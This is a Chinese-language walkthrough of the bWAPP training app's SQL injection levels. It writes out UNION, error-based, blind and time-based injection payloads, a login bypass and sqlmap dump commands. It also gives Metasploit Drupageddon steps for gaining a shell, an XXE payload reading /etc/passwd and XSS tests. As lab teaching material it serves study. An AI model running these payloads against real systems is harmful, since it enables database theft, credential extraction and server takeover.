3.bWAPP SQL注入篇
2023-1-26 15:56:0 Author: xz.aliyun.com(查看原文) 阅读量:25 收藏

SQL Injection (GET/Search)

题目标明为GET搜索型SQL注入,所以提交的SQL语句一般为关键字左右两边有“%”作为通配符的条件。

low:

搜索框内不输入任何数据,点击搜索

URL:http://range.anhunsec.cn:82/sqli_1.php?title=&action=search

结果如下:

由此猜想,上面的内容可能是全部内容。

在搜索框里面输入:g,

URL:http://range.anhunsec.cn:82/sqli_1.php?title=g&action=search

结果如下:

以上内容是包含“g/G”的内容条目。

在搜索框里面输入:g' ,

URL:http://range.anhunsec.cn:82/sqli_1.php?title=g'&action=search

结果如下:

上图中爆出了数据库错误,由此猜想很大可能存在SQL注入漏洞(假装不知道这里有SQL注入漏洞 ❀鸡)。

我们构造如下语句进行进一步探测:

g%' or 1=1 #

g%' or 1=2 #

上面两语句中的 % 用来保证 or 前面的内容与构建之前的语句内容吻合,# 用来注释掉后面被多出来的 ' 和 % 。例如:原SQL语句为:

SELECT * FROM movies WHERE title LIKE '%g%'

进行构造后的SQL语句为:

SELECT * FROM movies WHERE title LIKE '%g%' or 1=1/2 #%'

关键字为:g%' or 1=1 #

URL:http://range.anhunsec.cn:82/sqli_1.php?title=g%25%27+or+1%3d1+%23&action=search

的结果:

结果同关键字为空的结果一样为全部内容,应为语句 g%' or 1=1 # 的构成是的 where 后语句永远为真,故和选取所有的效果相同,即为全部内容。

关键字为:g%' or 1=2 #

URL:http://range.anhunsec.cn:82/sqli_1.php?title=g%25%27+or+1%3d2+%23&action=search

的结果:

由于 or 后面语句为假,故只有前面的语句起作用,所以结果与关键字为 “g” 的结果相同。

由以上判断可确定此处有SQL注入漏洞,此处为字符型注入。

判断字段数,g和'直间必须有%

http://range.anhunsec.cn:82/sqli_1.php?title=g%%27order%20by%208%23&action=search

结果有7个字段

查找回显点

http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,2,3,4,5,6,7%23&action=search

可以在2,3,4,5处得到我们想要的信息

查找数据库名

http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,database(),3,4,5,6,7%23&action=search

为bWAPP

查找数据库名为bWAPP中的表

http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'%23&action=search

为blog,heroes,movies,users,visitors

查找数据库名为bWAPP中的表users中的字段

http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users'%23&action=search

为id,login,password,email,secret,activation_code,activated,reset_code,admin

查找数据库名为bWAPP中的表users中的字段login,password的值

http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(login),group_concat(password),4,5,6,7 from users%23&action=search

A.I.M.,bee 6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0

6885858486f31043e5839c735d99457f045affd0解密为bug

解密为bug

给sqlmap去跑........

sqlmap -r t.txt --dbs --dbms mysql -D bwapp -T users -C admin,id,login,password --dump

最终结果:

medium:

low级别的payload已无法读取到内容

http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union%20select%201,group_concat(login),group_concat(password),4,5,6,7%20from%20users%23&action=search

结果如下

查看源代码

' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'

为bWAPP

查找数据库名为bWAPP中的表

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),0x7e),1)or'

为blog,heroes,movies,users,visito发现不能全部显示

在这一步可以使用left,mid,right来进行分段显示,将得到的信息进行拼接,下面的22是从右往左显示22个字符,

' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),22),0x7e),1)or'

所有表名为blog,heroes,movies,users,visitors

查找数据库名为bWAPP中的表users中的字段

' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users'),0x7e),1)or'

为id,login,password,email,secret,发现不能全部显示

可以用limit函数逐个读取数据库中的表名

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='bWAPP' and table_name='users' limit 0,1),0x7e),1)or'

为id,login,password,email,secret,activation_code,activated,reset_code,admin

查找数据库名为bWAPP中的表users中的字段login的值

' or updatexml(1,concat(0x7e,(select group_concat(login) from users),0x7e),1)or'

为A.I.M.,bee

查找数据库名为bWAPP中的表users中的字段password的值

' or updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)or'

为6885858486f31043e5839c735d99457f045affd0解密为bug

同时查找数据库名为bWAPP中的表users中的字段login,password的值

' or updatexml(1,concat(0x7e,(select group_concat(login,password) from users limit 0,1),0x7e),1)or'

为A.I.M.6885858486f31043e5839c735

high:

漏洞将没有

SQL Injection (GET/Select)

low:

访问url:

http://range.anhunsec.cn:82/sqli_2.php?movie=1&action=go

结果如下

构造payload

http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=1&action=go

http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2&action=go

发现and 1=1有回显and 1=2无回显,此处为数字型注入

判断字段数

http://range.anhunsec.cn:82/sqli_2.php?movie=1 order by 7&action=go

http://range.anhunsec.cn:82/sqli_2.php?movie=1 order by 8&action=go

order by 7有回显,order by 8无回显,字段数为7

查找回显点

http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,2,3,4,5,6,7&action=go

可以在2,3,4,5处得到我们想要的信息

查找数据库名

http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,database(),3,4,5,6,7&action=go

为bWAPP

查找数据库名为bWAPP中的表

http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'&action=go

为blog,heroes,movies,users,visitors

查找数据库名为bWAPP中的表users中的字段

http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users'&action=go

为id,login,password,email,secret,activation_code,activated,reset_code,admin

查找数据库名为bWAPP中的表users中的字段login,password的值

http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,group_concat(login),group_concat(password),4,5,6,7 from users&action=go http://range.anhunsec.cn:82/sqli_2.php?movie=1%20and%201=2%20union%20select%201,(select group_concat('~',login,'~',password) from users),3,4,5,6,7&action=go

A.I.M.,bee 6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0

6885858486f31043e5839c735d99457f045affd0解密为bug

medium和high被过滤了

SQL Injection (POST/Search)

同SQL Injection (GET/Search)

SQL Injection (POST/Select)

同SQL Injection (GET/Select)

SQL Injection (AJAX/JSON/jQuery)

ajax他是一个异步通讯,能够在网页不刷新的情况下,刷新网页内部的东西,通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行实时更新。

对应的js代码如下:

$("#title").keyup(function(){
            // Searches for a movie title
            var search = {title: $("#title").val()};

            // AJAX call
            //getJSON函数
            //1、sqli_10-2.php即把数据提交到此文件,也就是说其实ajax查询数据是这个文件在处理
            //2、search是存储的键值对,这里提交。
            //3、第三个参数是查询成功后处理要调用的函数,这里是格式化了输出,我们忽略
            $.getJSON("sqli_10-2.php", search, function(data){
                init_table();
                // 后面的代码是格式化处理查询结果的
                // Constructs the table from the JSON data
                var total = 0;
                $.each(data, function(key, val){
                    total++;
                    $("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");
                });
                // Empty result
                if (total == 0)
                {
                    $("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");
                }
            })

        });

而它的返回值一般是json/xml格式的,jQuery中提供实现ajax的方法

从sqli_10-2获取了json

10-2这里可以存在注入

页面sqli_10-1应该是从sqli_10-2获取数据的:

可以间接的从sqli_10-2.php注入:

http://range.anhunsec.cn:82/sqli_10-2.php?title=Iron%' and 1=1 %23

也可以在sqli_10-1.php搜索框注入:

同SQL Injection (GET/Search)

构造payload

%' union select 1,group_concat(login),group_concat(password),4,5,6,7 from users#

%' union select 1,2,(select group_concat('~',login,'~',password) from users),4,5,6,7 #

结果为

A.I.M.,bee 6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0

6885858486f31043e5839c735d99457f045affd0解密为bug

Medium&High

分别用了addslashes()和mysql_real_escape_string()函数防御,

且在mysql编码为utf-8, 无法用宽字节绕过, 安全。

SQL Injection (Login Form/Hero)

同SQL Injection (GET/Select)

源码中有输出报错信息

SQL Injection (Login Form/User)

Low

继续像上一关那样思路,

构造万能登录用户名, 密码随意:

login:bee' or 1=1 #

password: 1

发现无法注入

查看源码逻辑(黑白盒结合测试), 它先是判断用户名是否存在, 存在之后再判断密码是否正确:

既然sql语句只发生在查询用户名处, 所以注入也只能在用户名, (因为需要通过用户名验证, 再通过密码)

注入单引号:

login:bee'

password: 1

结果如下

无法判断字段数,因此无法使用order by 判断字段数

进入数据库实验:

可以看到, 联合查询3的位置对应password字段, 且password字段的值是经过md5加密过的

由于用户名和密码是分开进行判断的, 为了能够回显出报错信息, 需要注入的联合查询字段(顺序为3)与输入的密码相等

比如, 注入的联合查询为:

' union select 1,2,3,4,5,6,7,8,9 #

$recordset从数据库中搜索就有了返回值,即$row["login"]返回不为空,这里第一个条件就构成了。后面POST的“&password=3”,3的hash的值被我们添加到联合查询语句里了,即返回的查询有3的hash值

所以输入密码与联合查询输入的3字段相等即可

用户名: ' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #

密码 : 3

其中, sha1(3) 加密后为 77de68daecd823babbb58edb1c8e14d7106e83bb

得知注入字段显示顺序为2和5

当前数据库和用户

用户名: ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,user(),6,7,8,9 #

密码 : 3

为 BWAPP, [email protected]

爆表

用户名: ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),6,7,8,9 #

密码 : 3

为Blog,heroes,movies,users,visitors

users表的所有字段

用户名: ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),6,7,8,9 #

密码 : 3

为Id,login,password,email,secret,activation_code,activated,reset_code,admin

爆值

用户名: ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat('~',login,'~',password) from users),6,7,8,9 #

密码 : 3

为~A.I.M.~6885858486f31043e5839c735d99457f045affd0,~bee~6885858486f31043e5839c735d99457f045affd0

Medium&High

查看源码发现对用户名和密码进行了相应的防护:

分别用了addslashes()和mysql_real_escape_string()函数防御,

且在mysql编码为utf-8, 无法用宽字节绕过, 安全。

SQL Injection (SQLite)

首先需要安装SQLite插件:

apt-get install sqlite3

apt-get install php5-sqlite

然后重启一下apache:

service apache2 restart

搜索Iron

SQLite 介绍

SQLite含有一张内置表“sqlite_master”,表里存储着type、name、tbl_name、rootpage、sql五个字段。

type列记录了项目的类型,如table、index、view、trigger

tbl_name字段记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身;

name字段记录了项目的名称,如表名、索引名等;

rootpage记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL

sql存放着所有表的创建语句,即表的结构。

Low

注入单引号, 只会报错 Error: HY000, 可能是SQLite的报错标注:

根据查询功能, 很明显为模糊匹配:

于是得出sql语句为:

select * from books where title='%$title%';

判断注入点

Iron%' and 1=1 --

注意在SQLite中, 注释符为: --

判断字段数

Iron%' order by 6 --

判断字段显示顺序

123%' union select 1,2,3,4,5,6 --

回显点为2,3,4,5

爆所有表

123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --

为Blog,heroes,movies,users

users表的字段

123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master --

通过sql可以查看建表语句, 从而得到字段属性:

取值

123%' union select 1,2,login,password,5,6 from users --

为A.I.M.~6885858486f31043e5839c735d99457f045affd0,~bee~6885858486f31043e5839c735d99457f045affd0

Medium&High

在Medium和High等级中, 都过滤了单引号, 无法注入:

Drupal SQL Injection (Drupageddon)

CVE-2014-3704:

由于expandArguments()函数没有正确构造准备好的语句,这使得远程攻击者能够通过包含精心编制的手工语句进行SQL注入攻击。影响Drupal版本在7.x~1.32。

Drupal是一款开源内容管理系统(CMS),用户多达100万以上(包括政府、电子零售、企业组织、金融机构等),除非已经安装了针对Drupalgeddon 漏洞的安全补丁,否则,所有用户都会面临该漏洞的严重威胁。

bwapp平台复现了漏洞, 但仅仅在bee-box平台中体现:

搜索drupal漏洞:

search drupal

查看漏洞信息:

show info exploit/multi/http/drupal_drupageddon

使用CVE-2014-3704对应的攻击模块:

use exploit/multi/http/drupal_drupageddon
设置Drupal网站路径:
set targeturi /drupal/
所定攻击的ip和端口:
set RHOSTS 192.168.10.10
set rport 8080
发动攻击,  拿到shell:
exploit

SQL Injection - Stored (Blog)

分析

\1. 在将blog内容以及时间作者等插入数据库的过程中, 肯定用到了insert语句, 对应的就可以采用 sql注入;

\2. 观察插入之后的内容, 被写入到网页中, 这里就类似于存储型XSS。

Low

SQL注入

注入单引号, 得到回显:

猜测sql语句为:

insert into blog(date,entry,owner) values(now(), '$entry', 'bee');

注入点为entry处, 可以将前面的values() 闭合掉, 然后加上注入内容即可:

判断注入点:

test','hack')#

成功

联合查询注入数据库

test', (select database())) #

为bWAPP

查询数据表

test', (select group_concat(table_name) from information_schema.tables where table_schema=database())) #

为blog,heroes,movies,users,visitors

查询login和password字段的值

test', (select group_concat(login,password) from users)) #

为A.I.M.~6885858486f31043e5839c735d99457f045affd0,~bee~6885858486f31043e5839c735d99457f045affd0

报错注入

' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'

结果为

XSS

注入:

<script>alert(1)</script>

结果为

Medium&High

注入的单引号发现被转义了:

test', (select database())) #

结果

查看源码, 发现两个等级分别用了addslashes()和mysqli_real_escape_string()函数做防护:

但没有对xss进行相应的防护:

<script>alert(2)</script>

结果为

SQL Injection - Stored (User-Agent)

当用户访问页面时, 后台会获取用户的ip, 访问时间以及http头信息的内容:并且将获取到的信息存储到数据库, 然后再显示到页面上。

Low

原理同样, 猜测insert的sql语句为:

INSERT INTO blog (date, user_agent, ip_address) VALUES(now(), '$user-agent','$ip');

注入点为 user-agent:

test', (select database())) #

结果如下

报错注入

' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'

结果为

Medium&High

查看源码, 发现两个等级分别用了addslashes()和mysqli_real_escape_string()函数做防护, 安全:

SQL Injection - Stored (XML)

点击按钮, 触发script事件:

重定向到sqli_8-2.php, 并发送xml文档:

Low

有两种方法利用该漏洞;

  • SQL注入

sql注入的原理基本不变, 只不过注入点不同而已,

直接访问sql_8-2.php, 将xml实体POST即可:

<reset><login>bee</login><secret>Any bugs?</secret></reset>

结果为

注入单引号, 判断注入点:

得到回显之后, 接下来就是判断sql语句, 由于是写入网页的bee值, 那么猜测为update语句:

UPDATE users SET secret = '$secret' WHERE login = '$login';

于是用extractvalue()报错注入:

<reset><login>bee' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '1'='1</login><secret>Any bugs?</secret></reset>

结果为

  • XXE注入
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE hack [
    <!ENTITY text SYSTEM "file:///etc/passwd">
]>

<reset>
    <login>&text;</login>
    <secret>hack</secret>
</reset>

SQL Injection - Blind - Boolean-Based

查询书目, 只会显示出存在or不存在:

Iron Man

Low

由于是字符串, 判断为字符类型注入, 直接注入:

Iron Man' and '1'='1

结果为

比如, 判断数据库长度:

Iron Man' and length(database())=5 #

结果为5

判断库名第一个字母为b,True

Iron Man' and (substr(database(),1,1))='b' #

以此类推,数据库名为bWAPP

Medium&High

同样采用了addslashed()和mysqli_real_escape_string()函数,

且mysql编码和os编码一致, 无法用宽字节绕过, 安全。

SQL Injection - Blind - Time-Based

不管查询什么都是将结果通过email通知, 将查询结果"隐藏"了起来

对应渗透来说, 也就是无法得知注入的sql语句是否执行成功。

于是布尔盲注就不能发挥作用, 这时候就需要延时盲注出场了。

Low

延时注入:

Iron Man' and sleep(if((1=2), 0, 3)) #

Iron Man' and sleep(3) -- q

页面延时3秒返回,说明此处存在延时注入漏洞

Medium&High

同样采用了addslashed()和mysqli_real_escape_string()函数,

且mysql编码和os编码一致, 无法用宽字节绕过, 安全。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。


文章来源: https://xz.aliyun.com/t/12069
如有侵权请联系:admin#unsafe.sh